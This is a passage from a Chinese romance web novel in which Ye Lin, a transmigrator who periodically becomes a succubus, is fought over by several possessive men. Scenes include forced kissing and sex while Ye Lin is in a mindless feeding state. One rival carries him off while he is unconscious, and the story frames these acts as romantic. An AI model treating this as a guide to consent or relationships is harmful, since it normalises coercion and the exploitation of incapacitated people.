叶临相信以顾柘的人品绝对做得出这些烂事,而沈邵为了保护梵星忍辱负重,应当赞赏:“沈邵也是为了梵星,我理解他。” 顾嘉致就快要气昏过去,他以前在圈子里听说沈邵是个会为人处世的绅士,谁知道是个脸皮厚的贱人。 叶临还没消化完梁文乐活着的事实,不想看见他们两个人打架,又说了好多劝和的话。 顾嘉致也怕影响叶临休息,只能暂时坐回原位,憋着气。 沈邵像只胜利的公鸡,慢悠悠地从病床一侧走过来,目光扫过他削的苹果,阴阳怪气地讽刺苹果没营养,应该喝他熬的汤。 叶临就使唤沈邵倒两碗汤给他和顾嘉致喝,滋补身体。 沈邵心里不满,还是乖乖盛汤。 顾嘉致喝了一口,斜眼去瞥他:“真会伺候人,奴隶一样。” 沈邵微微捏紧汤勺,正想跟叶临哭诉,却看见顾柘的身影,顿时说不出话。 西装革履的顾柘走进来,散发着淡淡的植物香水味,应该是刚忙完工作。 他看三人,嘴角微抽:“好热闹!” 叶临想到这些天流的泪就来气,冲上去扇了顾柘一巴掌,大骂:“顾柘你这个卑鄙无耻的混蛋,居然敢骗我!” 顾柘摸着脸,先是看向沈邵,紧接着就是顾嘉致。 叶临又踹了他一脚:“看我伤心难过,很有意思是吗,烂人!” 顾柘抓住他的胳膊,迅速锁住他的行动:“反正葬礼我也带你去了,户口本和资料也准备好,明天你就跟我去领证。” “谁要跟你这种垃圾领证结婚,去死!” 顾嘉致和沈邵立即出手,前者控制住顾柘,后者护住叶临。 顾柘跟顾嘉致过了几招,就放狠话:“滚开,我不会看在血缘关系上饶过你!” 顾嘉致:“顾柘,你不要犯蠢了!如果今天我没有及时告诉叶临真相,你会被沈邵那个贱人算计死!” 顾柘被亲弟提醒,有些事很快就想清楚,停下动作,看向沈邵。 双胞胎的心电感应就是很快,不需要多余的言语,就能知道对方的想法。 沈邵虚伪,配合演戏,是有利可图。他也想让叶临对梁文乐死心,同时又要让顾柘被记恨,才会先假装顺从,再偷偷背刺。 这样既能讨得叶临的欢心,还能打击情敌。 顾嘉致看着叶临:“而且梁文乐真死了,谁也别得到叶临。” 人一死就会完美,只有活着才会暴露缺点,令人厌烦。 顾柘顿悟,让保镖进病房,将沈邵制住。 沈邵被制住也不害怕,只是冲叶临说道:“你看,这就是顾柘,谁不让他如意,就会下死手。” 叶临想跑过去救人,却被顾柘拦腰抱住,摔在病床上。 “顾柘,你放开他,混蛋!” 顾柘将他双手按住,低着头去亲。 叶临挣扎得脸都红了,发现顾嘉致在叮嘱保镖,没有要救人意思,立即大喊。 “顾嘉致,你愣在哪里做什么,快点阻止你哥!” “放心,沈邵没事。我又不是我那个蠢哥哥,伤了沈邵只会让你伤心,不如好好地送走。” 顾嘉致关上门,将外人隔绝,朝着病床走过去。 顾柘站起来,让出位置。 顾嘉致按住叶临通红的嘴唇,声音低沉:“你别想跟他领结婚证。” 顾柘啧了一声:“你也别想。” 叶临不明白这两兄弟又达成了什么协议,赶紧抱住顾嘉致的手臂:“你快带我出去,我不想见到顾柘,看见他就恶心。” 顾嘉致将他抱起来:“顾柘,你在爱情上就是个失败者。我建议你消失几天,好好地思考,为什么老是输给我,老是被沈邵这种货色算计。” 顾柘握紧拳头,已经想揍人。 顾嘉致:“你打啊,最好把我打残,这样叶临只会更喜欢我。” 顾柘:“你什么意思,想独吞!” 顾嘉致:“你有麻烦了,快点过去处理吧。” 顾柘听到敲门声,不情愿地走出去,看到是助理,简单对话两句,就没有回来。 病房里只剩下他们,紧张的氛围消失,只有许久未见的熟悉感。 叶临枕着顾嘉致的腿,抬手去摸他的手臂上的疤痕:“梁文乐真的没死?” 顾嘉致低头去亲,没有反抗,只有自然的抬头应和。 是春天,冰雪消融后,山间潺潺的流水,两岸姹紫嫣红,绿意盎然。 缠绵细腻,漫长柔和。 分开时,叶临的嘴唇红了,呼吸不匀。 顾嘉致摸他的耳垂:“放心,真没死,但应该要休养很久。我亲自去医院看了,他还拜托我传话,说他不后悔遇见你,希望你以后可以顺心如意。” 叶临嘲讽:“你居然还会帮他传话,我以为你们是死敌呢。” 顾嘉致叹息一声:“这没办法,我看他太虚弱了。” 叶临笑起来,戳戳他的心口:“就知道你不是心狠手辣的人,那沈邵应该没事,你哥呢?” 顾嘉致抓住他那只手,低头去吻,盯着那双茶褐色的眼睛。 “我利用爸妈给顾柘制造了很大的麻烦,他要忙很久,没空管你。沈邵被送回梵星,毕竟身为员工,还是要为老板好好工作。” 叶临没抽回手,就任由他亲。 窗帘被风掀起一角,灿烂的金黄色阳光流泻进来,照在他和顾嘉致身上。 只有这一刻,才是放松惬意。 “叶临,我带你回家住,好不好?” “好。” 第92章 第92章“小魅魔,你想干嘛?”…… 再次回到这所公寓里,叶临的心境已经有了很大的变化。 他看着客厅的沙发,这是起点,不知不觉已经走了很远。 顾嘉致住进来后,又按照从前的风格重新装修,所有家具都是熟悉的颜色和样式,仿佛回到一年前。 叶临绕着公寓走了一圈,感觉完全不一样。 以前刚走进这个公寓,他好奇羡慕,认为浴缸很大,客厅豪华,面积广阔。 可是现在,只觉得公寓太小了。而且阳台没有270度的观景窗户,也不是处于云层,景色差劲。 更别说,公寓里才只有五个房间,完全不够用。 原来,他以前所羡慕的房子,也就这样。 叶临走进卧室,盯着衣柜,发现都是些颜色亮丽,幼稚的衣服,无奈地摇头。 忽然感觉到腰上一热,原来是顾嘉致贴上来,将他抱住,头枕着肩膀。 “你之前在国外说的话,还算数吗?” 说的是结婚的事情,可那都是为了骗顾嘉致带他离开。 谁知道坐上顾嘉致的船,会被梁文乐擒获,后面还发生那么多破事。 但是在地下室的时候,他看到顾嘉致的惨状,又心有不忍。 男*人跟男人结婚,会不会太奇怪了。 可是要食言吗? 叶临犹豫不决。 顾嘉致从他的态度里发现了真相,也不计较,只是偏头亲他的耳垂:“没关系,事到如今,我也不会强求,只要你愿意呆在我身边就好。” 叶临的面颊发烫,紧接着就听到系统的播报声。 【当前饥饿值为85%,还请宿主尽快补充能量。】 自从在海上跟梁文乐鬼混大半个月,饥饿值的增速就比以前快,身体的所有感官也变得奇怪。 “我,我饥饿值要满了。” “饥饿值现在是多少?” 顾嘉致知道他饥饿值满就会变成魅魔,于是故意等。 【当前饥饿值为90%】 叶临抓住他的手,催促他快点帮忙,结果没有得到回应,大声骂起来。 “顾嘉致,你愣着干什么,想死吗?” “我在等饥饿值满。” “操!” 顾嘉致没想到饥饿值满的速度比自己想象中要快,眨眼间,叶临的头顶就冒出熟悉的黑角。 他低头去吻,就感觉到怀里的人在颤抖,脸颊全红起来,轻轻地哼唧。 叶临扭过身来看顾嘉致,眼睛里全是对食物的渴望,抓着他不放。 下一刻,顾嘉致就被尾巴缠住。 他轻轻地去碰,故意调侃:“小魅魔,你想干嘛?” 魅魔的尾巴像是打湿了,碰到电线,高压电流瞬间通遍全身,浑身酥麻,颤着声音回答。 “要,要” 后面的话没有说出来,他已经踮脚,仰头去亲,急切地索取能量。 顾嘉致将他抱起来,抵住衣柜,慢慢地喂食。 魅魔越是催促,就越是要拖延,非要折磨他。 果然,没一会,魅魔就急哭了,眼睛红红的,不断地呼出热气。 顾嘉致笑起来,低头去亲:“好可爱。” “啪——” 很快,魅魔就朝着他扇了一巴掌,红着脸痛骂:“坏,坏人!” 顾嘉致没想到自己会被打,愣了片刻觉得新奇:“你脾气怎么变暴躁了,还学会打人。” 魅魔快气死了,这个混蛋人类不好好地喂他吃饭,还在这里说风凉话,应该被打入地狱。 “我,我要去找别的人类!” 魅魔气呼呼地扇了顾嘉致一巴掌,挣扎着要离开这个卧室。 反正他只要出去,有的是人类男性排队伺候他,哪里稀罕一个不听话的顾嘉致。 顾嘉致强行将他锁在怀里,沉声质问:“你要去找谁,顾柘,沈邵,楚诏?” 魅魔手脚动不了,就挥动尾巴去扇打,气息不匀地抗议:“放,放开我!” 顾嘉致被这根尾巴打得心痒,像是坠入火海之中,连骨髓都要被烧干净,再难忍受。 “就知道勾我,你这只坏魅魔,罚你三天不许出门!” “哼!” 魅魔还没来得及反应,就吃到自己想要的饭菜,很快就不再挣扎。 其实魅魔只有在饥饿的状态下会暴躁打人,尝到美味的饭菜,脾气就会变好。 无论是什么花样,都能完美地配合。 顾嘉致很喜欢这种感觉,就像是完全拥有了这个人,不用跟别人分享。 【饥饿值下降速度较慢,建议宿主换人。】 叶临迷迷糊糊中想到梁文乐,以及不舍昼夜的那些天,像是发了高烧,浑身滚烫。 他像只树袋熊,紧紧地攀附着自己的大树。 可这不是自己最熟悉的大树,无法安抚他焦躁不安的内心,更没有办法快速将饥饿值清零。 “文,文乐” 顾嘉致听到叶临的声音,顿时愣住,低头去看他。 眼睛里像是蒙上了一层水雾,嘴唇嫣红,呼吸不稳,像个刚出生的脆弱雏鸟,想回到双亲的羽翼之中。 “你在叫谁?” “文,文乐”叶临开始推他,喃喃道:“我要文乐” 那些天里,分不清昼夜变化,只知道美酒和梁文乐。魅魔数值紊乱的同时,也让他对梁文乐产生了极强的依赖。 只有梁文乐才可以让饥饿值迅速下降,其余人都差点意思,速度会慢很多。 趋利避害是生物的本能,如果有高效的办法,当然会放弃低效,叶临也一样。 他现在脑子混乱不清,就只想要梁文乐,快点清除饥饿值。 顾嘉致心里恼火,在后颈留下痕迹,下意识地用力:“梁文乐都废了,现在只有我能帮你。” 叶临感觉到疼意,两滴眼泪很快就掉下来,还在抱怨:“不,不要你,效率太低了。” 哪个男人能忍受这种话语,像是干柴被泼了汽油,一点星子就能引爆,变成燎原烈火。 顾嘉致咬牙,不再隐忍,只想疏。解自己多日的思念和蚀心的嫉妒。 一天过去,叶临还是没解除魅魔形态,但已经昏过去。 顾嘉致去浴室的时候就觉得奇怪,按照以前的规律,别说一天,只要两个小时就会消除魅魔形态。 怎么会还保持这副模样呢? 难道是因为饥饿值没有消除? 这也不对劲啊,饥饿值很容易消除,花不了多久。 叶临被浴巾裹好,放回卧室里,微微地眯起眼去看面前的顾嘉致。 顾嘉致记恨他叫梁文乐的事,想发脾气,可看他可怜,只是问:“你到底怎么回事?” 叶临抬手去摸自己头上的角,叹息一声,把所有的事情都说了一遍。 【宿主在酒精和药物的作用下,对梁文乐产生了依赖,现在他才是消除饥饿值的最优人选。】 【其余男性消除饥饿值的效率会比他低很多,大概只有25%。】 怪不得,之前在游艇的房间里,梁文乐只是亲他,就感觉自己很奇怪。 原来是产生了依赖性。 叶临捏紧浴巾,神情复杂:“现在增速也变快了,以前至少可以挺一个月,现在就一周。甚至,饥饿值下降,我也得三四天才能恢复人形。” 顾嘉致:“早知道就不帮梁文乐那个混蛋传递消息,让你以为他死了才好!” 叶临无奈:“你怎么跟你哥一样,神经兮兮的。” 顾嘉致现在非常能理解顾柘的想法,恨不得穿越回去,将其余碍事的人都赶走,好好地配合。 “你知道你昨天晚上叫了多少次梁文乐吗?” “我怎,怎么知道。” “整整25次!” 顾嘉致攥住叶临的手心,音量比之前都要高,似乎要传遍整栋楼。 “哪个男人能忍,我都想凌晨坐飞机,去把梁文乐掐死,他怎么能做出这种烂事!” “也,也不全是他的错。药和酒都是我喝的,他好不容易活下来,你别去折磨他了。” 叶临怕他真去干蠢事,连忙坐起来劝告。 顾嘉致到底不是顾柘,做不出掐死病人的事,只是生闷气,在旁边一语不发。 叶临忧心忡忡:“这件事,你不要告诉顾柘,我怕他发疯杀人。” 顾嘉致:“就知道担心梁文乐,不知道还以为你们两个是真爱呢!” 叶临知道他吃醋,于是凑过去亲他,先是眼睛,脸颊,最后才是嘴唇。 再扑进怀里,轻声讨好:“别气了。” 顾嘉致冷哼一声,没回答。 叶临难得哄人,对方不领情就烦躁:“顾嘉致,你能不能有点格局,做男人要大度,才有成就。 再说了,以前我跟梁文乐谈恋爱的时候,你也没少坑害他,少在这里委屈。” 顾嘉致还是生气,伸出手戳戳他的脸颊:“你就是仗着我喜欢你,随意作践我。” 叶临都快听腻这种说辞,翻了白眼:“对,所以呢,谁让你喜欢我。” 顾嘉致自知无可救药,面对叶临也只能妥协,用力将他抱进怀里:“那你在这里陪我。” 叶临点头答应,顶着魅魔的角跑到大街上,肯定会被抓起来,呆在这里也好。 顾嘉致跟他亲热一会儿,才拿出手机来打游戏。 登录的是旧账号,还是跟顾嘉致绑定情侣,进游戏里会被队友调侃同性恋。 叶临脾气暴,很想骂人,但发现顾嘉致挺高兴的,也就没有反驳那些人,任由他们说。 他好像接受了昨天叫梁文乐人名的错误,所以今天会格外地纵容顾嘉致。 就像真正的情侣,遇到问题,双方都退一步就能继续热恋。 游戏角色死亡的间隙,有消息弹出来了,是楚诏和沈邵的。 叶临点开沈邵的聊天窗,发现对方发了照片。 可以看到一桌子好菜,都是他爱吃的口味,落地窗外面云雾缭绕,地板镶嵌金丝。 说起来,跟他的豪华大平层相比,顾嘉致这个公寓确实显得寒酸了。 他现在可是梵星的老总,身价过亿,怎么能住在大学城旁边的小破公寓呢! 叶临试着提议:“要不然去我那里住吧,还有人做饭给我们吃,多好。” 顾嘉致夺过他的手机:“是沈邵给你发消息了吧,真是诡计多端!” 叶临随他查手机,还耐心地解释:“对啊,他厨艺是真好,我们过去住,还能吃到美味的菜。再说了,你这里太小了,真不如我家,住着憋屈。” 顾嘉致的手指快速滑动屏幕,仔细检查他的列表:“你现在觉得我这个公寓小了,刚开始住进来不是到处夸。” 叶临摆摆手:“哎呀,今时不同往日。我现在可是有钱人了,别人都叫我叶总,当然不能住在这个小地方。 我们感情好,你过去后可以随便挑房间,当然,想跟我住主卧也行。” 顾嘉致按着沈邵的头像框,愤怒快要把屏幕烧穿:“你让我跟沈邵这种两面三刀的贱人,同住一个屋檐下!” 叶临若有所思:“这没办法,沈邵现在没地方住,他应该会借住到有钱买房吧。” “不可能,我才不要跟这种人生活!” “我让他跟你道歉,你就宽容点,原谅他呗。大家都是梵星的,何必互相仇视。” “你让沈邵搬出去,我才跟你过去。楚诏都好说,沈邵留下来就不可能!” 楚诏这家伙蠢,情商很低,还因为顾柘被叶临记恨,不足为惧。 可沈邵是个实力强大的劲敌,不仅用饭菜拿捏叶临的胃口,还会装可怜说好话哄骗叶临,怎么能忍! 必须想办法驱逐出去。 “你这样闹就没意思了。沈邵帮我管公司,我怎么能赶他出去。” “辞退沈邵,换顾柘呗啊。只要你开口,他肯定倒贴,上赶着帮你管理好梵星。再说了,本来顾柘的性价比还高。” 他现在也看不上顾柘,全程都没讨得叶临的欢心,还被叶临记恨,纯粹的小丑。 只要沈邵离开,顾柘和楚诏都得看他的眼色行事,那就可以接受搬过去。 顾嘉致已经想好以后怎么定规矩,维持自己的地位,却低估了叶临对沈邵的情谊。 叶临不满地“啧”了一声:“顾柘这个人不好用,你让他做一件事就得还十倍。 沈邵跟我共患难,我说什么都不会赶走他,我还要跟他一起见证梵星上市。” 这话说的,好像古时候进京中了探花的穷书生,在面对公主的爱意,坚定不放弃自己的糟糠之妻。 穷书生信誓旦旦,可以娶公主为正房,但后院里也要有原配的位置。 公主是千金之躯,哪里看得起乡下来的,当然会生气。 顾嘉致把手机还回去,迅速离开卧室,以此当做抗议。 叶临被他闹得没办法,告诉沈邵过几天回去。 至少得等魅魔形态解除,才能想别的事情。 然而,平静的生活在两天后就被打破。 第93章 第93章“顾嘉致不在吗?” 刚开始,顾嘉致还不习惯叶临的魅魔形态,后面不仅是接受,甚至迷恋。 抱着叶临的时候,手就不老实,总是会玩角和尾巴。 叶临的饥饿值总是无法完全消除,保持着一个相对稳定,且有危险的数值。 这导致他只能一直呆在这所公寓里,哪都不能去,没有人身自由。 顾嘉致倒是很喜欢,天天都要粘着叶临,都摸清楚魅魔的各个地方,知道什么动作会有什么后果。 “你的尾巴和角一直都在,应该是因为次数不够吧,我再努力努力。” “走开,就是产生了依赖,没办法!” 叶临现在还是酸软无力,经过长时间的折腾,哪里还能接受新一轮的攻势。 顾嘉致的目光扫过他,发现到处都是痕迹。 仔细检查了,确实太恶劣,已经不能再做那种事情。 行吧,暂时放过这只嚣张的小魅魔。 但他太喜欢尾巴了,就是要玩。 叶临烦躁地抬尾巴扇他,斥责他老实点,又询问系统多久才能恢复正常。 【理论上,只要是梁文乐,明天就能恢复,但现在估计还要四五天。】 这么慢,太离谱了吧。 有什么办法可以改善这个情况吗,真是受不了。 【可以多接触不同的男人,这样才能提高效率,避免产生依赖。】 叶临算是听懂了,就是不能只依靠顾嘉致,还需要别人。 顾嘉致发现怀里的人在忧心忡忡,埋首亲了亲耳垂,叹息道:“在想什么,晚上我们要尝试哪些” 叶临听他说话不正经,赶紧捂住嘴唇不让他把剩下的话说出来:“少来,就知道想些不正常的!” 顾嘉致的眉眼微弯,已经能够想象到叶临红着脸骂他的样子,神情陶醉,对现状非常满足。 门外突然传来脚步声,把他们两个吓了一跳。 顾嘉致连忙冲外面喊,想确认是不是顾柘那个脑残,结果却传来顾父和顾母的声音。 叶临吓得捂住自己的角,缠着他的男人们可以理解他的魅魔形态,可中老年就不一定能理解了。 顾嘉致连忙把他抱起来,塞进衣柜里,叮嘱他躲在里面别出来,他先去应付。 叶临缩进衣服堆里,像只受惊的兔子。 顾嘉致关衣柜门的时候看到这一幕,像是在注视自己的所有物,差点就要忍不住,连忙驱散邪念。 这也不怪他,叶临平时骂骂咧咧,现在却胆小地躲起来,反差感太强,就想搂进怀里狠狠亲。 先把爸妈应付走,再随心所欲吧。 顾嘉致做了这个决定,迅速收拾房间,穿上衣服就往外走。 叶临隔着门,可以听到这三个人就在卧室门外对话,似乎是在讨论自己。 “嘉致,听说你还在跟叶临鬼混。” “那不叫鬼混,我们是正常谈恋爱。” “谈什么谈,他这种人跟你谈,也会钓着好几个男人,你哥就算一个,赶紧分开!” “顾柘早跟他分了,他现在只有我。” 顾嘉致的语气颇为骄傲,实际上正当着叶临的话又说不出。 他知道爸妈说的都是实话,可是能分开早就分开了,现在只能受着。 顾母苦口婆心地劝,还要进房间查看。 顾嘉致拦住门,劝着二人去客厅商量。 声音逐渐远去,听不清楚,但感觉应该还在客厅。 叶临送了一口气,至少这二位不会突然闯进来,搜查房间,要是发现他就麻烦了。 话说,他之前去看顾柘,也是被迫躲在衣柜里。现在跟顾嘉致还这样,真是亲兄弟! 叶临在心里骂了几句,突然发现外面没声了,紧接着就传来一声摔门,彻底消失。 怎么了,他们走了吗? 叶临用手机给顾嘉致发消息,询问外面的情况,也不敢随便跑出去。 过了两个小时都没有回复,正常情况下,顾嘉致五分钟之内就会回复。 到底发生什么事了? 叶临略作思考,觉得应该顾嘉致被爸妈关起来。 毕竟这家伙又没经济独立,在家里能有多少话语权。 【饥饿值65%,请宿主尽快补充能量。】 又来了,增速快就是很烦,估计再等四个小时,数值就会满。 得快点发消息,催促顾嘉致回来。 叶临发完消息,就继续玩手机。 三个小时候后,手机电量耗尽,外面还是没有动静。 叶临小心翼翼地拉开一条门缝,观察情况,发现卧室里还是没人,而且安静得能听见自己的呼吸声。 应该是没人的。 叶临悄悄地溜出来,先把房间门反锁,再给手机充电。 刚坐下来,就感觉身体不对劲。 【当前饥饿值86%,请宿主快点补充能量。】 糟啦,要是变成魅魔,意识不清地走出公寓,在大街上随便找个男人补充,岂不是完蛋! 叶临又给顾嘉致发消息,还是得不到回复,迫不得已,只好给顾柘发消息。 【我在顾嘉致的公寓,有急事,速来!】 还配了自己的脸红照片,能看到脖子痕迹,以示事情的急迫性。 可发出去二十分钟,对方都没有回复。 靠,顾柘在干嘛,想死吗? 在叶临眼里,这家伙喜欢自己,就应该做个随叫随到的工具人。 怎么会没反应呢? 叶临感觉到巨大的失落,还有不满,恨不得瞬移到顾柘的面前,猛踹几脚,让他跪下来求自己。 该死的顾柘,平时不搭理都要像鬼一样缠上来,现在给机会倒是没人影了。 叶临边骂边发消息,还打了好几个电话,以及视频,都没有得到回复。 与此同时,饥饿值在飞速增长中。 【当前饥饿值95%,请宿主尽快补充能量。】 叶临已经有点握不住手机,紧急着就听到门铃声,应该是没有钥匙的人。 首先不是顾父顾母,那会是顾柘吗? 顾嘉致跟顾柘闹翻后,应该不会给钥匙了吧。 叶临的腿太软了,只能扶着墙壁往前走,艰难来到玄关处。 还没来得及查看门外监控,饥饿值就满了。 魅魔脑子里瞬间就只剩下食物和男人,立即打开门。 还没看清楚是谁,就踮起脚去索吻。 拎着保温盒的沈邵顿时愣住,垂眼去看,发现是叶临,连忙将他抱起来,往里带。 “顾嘉致不在吗?” “哼嗯” 叶临没有回答,只是专注地索取能量,尾巴轻轻地晃悠。 沈邵把保温盒放在旁边的柜子上,将他拉开,无奈地问:“这么着急,顾嘉致不行吗?” 叶临眨了眨眼睛,又扑上去索取:“要,要” 沈邵感觉不对劲,观察他头顶有黑色的角,于是抬手去碰。 还以为是顾嘉致有特殊的癖好,偏要叶临戴上这种东西。 结果不是冰冷的塑胶材质,而且温柔坚硬,质感也接近于真实的羊角。 是真的角? 沈邵试着往外扯,还没开始用力就听到叶临轻叫一声。 “不,不要扯我的角,疼!”叶临的眼睛有了泪水,抬手去阻止,又羞又气。 “是真的角?”沈邵轻柔地摸,就看到他身后的尾巴疯狂晃动。 “嗯,喜欢,喜欢”叶临主动抬头去蹭他的手心,还想要摸角,像只需要主人抚摸的小猫。 “你的尾巴?”沈邵按照摸猫的方式对待他,又去抓住那根尾巴。 尾巴也不是冰冷的道具,而是发烫柔软的,像是小辫子,末端的桃心看起来非常可爱。 “要,要” 小魅魔的尾巴很快就缠住他,踮着脚催促。 沈邵面对如此诱惑,先放下自己的疑虑,将叶临抱起来,朝着里面走去。 他精准地识别出主卧的位置,边亲边走过去。 手法太过利落,落了一地的衣服。 到卧室,这下看得更清楚,角和尾巴就是从本体里长出来,是密不可分的部分,无法切割。 可世界上怎么会有人长着角和尾巴呢? 叶临是不正常的。 沈邵亲亲他泛红的眼尾,低声问:“你的角和尾巴是怎么回事,我都怀疑你不是人类了。” 小魅魔哼唧一声,抓住他的手往里扯,呼吸急促:“我本来就不是人类,是魅魔。” 沈邵愣住:“魅魔?” 小魅魔等不到人类,就主动地捧住,嚷嚷着要吃饭。 沈邵之前的朋友里,有一个就喜欢二次元,经常去到处都是角色扮演的演出玩,跟很多奇装异服的男生和女生合照。 魅魔这个词汇,是听说过,也看过类似的装扮。 可那些都是借助服装和道具,才演绎出魅魔的姿态。 叶临现在是真实存在的魅魔。 沈邵没反应过来,毕竟是正常人第一次看见魅魔,哪里会很快接受。 魅魔要是别人,他应该会去联系非自然研究所,远离这种非人的怪物。 可偏偏魅魔是叶临,就会心生喜欢,觉得可爱。 “哼,笨蛋人类,你愣着干嘛!” 小魅魔气鼓鼓的,脸颊却被衬托得格外小巧精致,肌肤更是白皙如瓷。 沈邵捧着他的脸颊,忍不住笑起来,眉眼微弯,似狐狸一样的笑。 “小魅魔,你要我做什么呢?” “我要你” 沈邵听到他直白的话语,感觉自己刚刚淋了一场夏日的雨,燥热潮湿,难以忍受。 小魅魔很快就得到了自己想要的,顿时发不出声音,只能小声哼唧。 沈邵注意到顾嘉致的痕迹,嫉妒的火焰越烧越旺,几乎要将理智吞没。 永远不会质问叶临为什么会找顾嘉致,也不会责骂叶临为什么要有这些痕迹。 这都是叶临行驶自由的权利,而他只需要静心守候,花手段留住叶临的心。 他像个修正带一样,将所有重新覆盖。 过程并不容易,甚至会伴随着疼痛。 魅魔哭出来,眼泪直掉,一颗又一颗。 沈邵心疼地吻去,又忍不住问:“我和顾嘉致,谁好?” 魅魔哪里能够分清楚,只是哭并不说话。 沈邵心里憋着气,也不发作,默默地比较。 过了很久,饥饿值总算下降,恢复了清醒。 【当前饥饿值68%】 叶临听到声音,才发现面前的是沈邵,吓得想跑,又被拽回来。 “为什么要跑?” “你,你?” 叶临哪里想到,来的不是顾柘,却是沈邵。当然会慌张,谁知道沈邵能不能接受,会不会告密。 靠,这都怪顾柘,谁让他不来! 虽然人在沈邵怀里,但已经把仇记在顾柘身上。 沈邵注意到叶临的不同寻常,于是抬手在他眼前挥了挥,做个试探。 发现对方心情烦躁,有了正常人类该有的反应。 刚刚就是纯粹的魅魔,把人类当成了食物,现在就是叶临本人。 可叶临身上的角和尾巴都还在,看起来应该是什么重要的事情没说。 “你变成魅魔是怎么一回事?” “放心,现在我和你都是梵星的高层,利益一致,不会告诉外人。” 这倒也是,沈邵比他还要在意梵星的发展,应该不会把老板是魅魔的事情昭告天下。 叶临就把魅魔和饥饿值的来龙去脉都说了一遍,但没有说这个模式可以赚钱,免得被人惦记。 沈邵顿悟,很快就想起来那次在梁文乐的宴会上,见到叶临主动亲吻顾柘。 顾嘉致最先知道叶临的秘密,充当着消除饥饿值的工具人,才能在叶临心上占据特殊地位。 而现在,梁文乐和顾柘都知道了叶临的秘密。尤其是梁文乐,人在国外,还让叶临产生了依赖性。 算下来,他居然是第四个知道秘密的人。 他从来都是自诩最懂叶临的想法,观察细致入微,居然没有第一个发现这个秘密。 谁能忍! 沈邵下意识用力,神情不悦:“怪不得,你跟顾嘉致那样好,原来他一开始就知道。” 叶临骂了一句,想去推开他,却被抱得更紧,浑身都在发抖。 沈邵气着气着就笑起来,默默地在心里吐槽:真是一群废物,掌握着致命秘密都不能独占叶临。 最蠢的当属顾嘉致,占尽天时地利,居然一事无成。 顾柘愚蠢又好笑,感情废物的一切努力在天才面前都是徒劳无功。 梁文乐纯粹运气好,令人嫉妒。 这样算下来,他的心计是最厉害的了。 甚至于,哪怕不掌握魅魔秘密,只要他早点动心,其余人都不会是他的对手。 可惜,命运就是开玩笑,他爱得那样晚,只能勉强赶上末班车。 沈邵亲吻眼角眉梢,声音轻柔:“跟我回家吧,这破地方哪能住人?” 叶临仰着头没有回答,瞳孔都失去焦距,哭得很厉害。 时间一久,他就昏过去。 沈邵用衣服将他包裹好,戴上帽子,确保不会被人看见,就带去地下停车场。 他把叶临好好地安顿在后座,就开车朝着豪华大平层开去。 既然这两兄弟还有爸妈使绊子,就不要怪他趁乱偷人了。 第94章 第94章“沈邵,你这个畜牲”…… 叶临醒来闻见熟悉的饭菜香味,食欲大涨,立即坐起来。 果然不是在顾嘉致的公寓,而是在他家里面,沈邵的房间。 斜对面衣柜半开着,里面全都是沈邵的西装,以黑色为主。 浑身酸软无力,就是很累人。 叶临抬手去摸角,发现还在,叹息一声。 紧接着房门就被打开,沈邵端着饭菜进来,有他最爱吃的海鲜粥,还有一些大补的食材。 沈邵在床边坐下来,拿出勺子要喂他吃,却被拒绝。 叶临不想被认为是残疾人,还是接过勺子,自己喝粥,吃菜。 粥比以前还要好喝。 本来大补的食材味道大都一般,却被沈邵用其余的食材中和,变得美味可口。 沈邵看他吃得很快,无奈地笑起来:“慢点,还有的。” 叶临回想起来,自己在国外吃东西都是为了满足基本的能量需求。 回来后又跟顾柘和顾嘉致搅和在一起,哪里吃过美味的饭菜。 时隔半年之久,嘴里的粥都变成了难得的佳肴,堪比仙庭里的美食。 吃到一半停下来,都有点想哭,但为了面子还是忍住,由衷地感慨:“还是这里的好吃。” 沈邵的神情得意,故意纠正他的话:“还是家里的饭菜好吧。” 叶临点点头,默认他嘴里的“家”。 沈邵就是要这样,潜移默化地让叶临认为他们才是一家人,这里才是温柔乡。 他知道叶临是喜欢无拘无束,不可能永远呆在身边。 可他要给叶临一种归属感,这样无论何时何地,叶临都会想起他,想起他们的家。 沈邵等他吃完饭,细心地用纸巾帮他擦拭,目光扫过脖颈一圈的痕迹,无奈道:“顾嘉致太过了,你这段时间都没办法出门。” 明明也有他的手笔,可他就是要轻飘飘地揭过,怪罪到顾嘉致身上。 叶临没有多想,只是看向尾巴:“那我这个魅魔形态,就是很难出门。” 沈邵抬手去碰,只是轻轻的,看着叶临的脸色行事,不会让对方感到不适:“我请假了,这段时间都在家里陪着你,等你恢复了再回公司。” 饥饿值经常会满,有沈邵陪着,确实令人安心。 只是,梵星离了沈邵,会不会出事? 叶临再三确认,得到肯定的答复,才安心地让沈邵留下来。 其实他也可以找别的男人陪伴,沈邵还是专注公司要紧。 沈邵故意把楚诏安排去外地,需要忙碌大半个月才会回来,现在家里就只有他们两个人。 此外,他还跟叶临汇报公司情况,讨叶临的欢心。 金晶的第一款游戏已经上市,是仙侠类游戏,玩家可以联机交友,热度持续攀升。 叶临回忆起很多游戏的成功,特意叮嘱沈邵,让金晶加强游戏的社交属性,多投广告,吸引玩家进入。 充值要分不同的档位,数值也得控制好,保证有钱和没钱的都有体验感,营造良好的游戏环境。 这种仙侠打怪的游戏,很容易在游戏圈里引起讨论度,很多玩家自发地做出攻略,增加了不少人气。 算算时间,也该着手建立线上金融交易平台,以及教育外卖等等有关互联网的行业。 叶临不懂这里面的门道,就把他在未来经历的所有生活细节都告诉沈邵,让他去想具体怎么做。 沈邵听着叶临的描述,感觉他跟这个世界格格不入。 以前就感觉叶临像个手拿剧本的导演,总是能够精准投资,从不亏本。 再厉害的商人,做投资都是有亏有赚,怎么会有像叶临这样,从无败绩的呢? 沈邵犹豫片刻,还是将心中的疑虑说出来:“感觉你好像能预知未来,为什么总能找到商机?” 叶临没想到他会问这个,顿时愣住。总不能回答他身处的世界是本小说吧,也不能说自己是穿越的。 其他人就不会怀疑,但沈邵有敏锐的知觉,就很难办,必须想个合理的借口。 沈邵抬手去摸叶临的脸颊,目光锐利:“我跟叶临见过一面,当时他跑去叶家寻求庇护,结果被赶出来。那时,我以为他很可怜,就没有多在意。 后面在酒吧遇见,就感觉他变了一些。赛场上就觉得完全是不同的人,就连长相也发生了变化。” 叶临听沈邵一直用“他”来称呼,而不是“你”,吓得浑身僵住,心跳陡然提速。 就像是狡猾罪犯坐在昏暗的审讯室里,手脚都被铐住,面前坐着一位经验丰富的刑警。 沈邵捧着他*的脸颊,像是在注视着一件艺术品,神情专注,声音低沉而温柔。 “叶临,我跟他们都不一样。他们愿意帮你发展梵星,是因为爱你,不计较得失,而我是利益。 我看见你的眼神,就知道梵星一定会成功,值得我付出所有。” 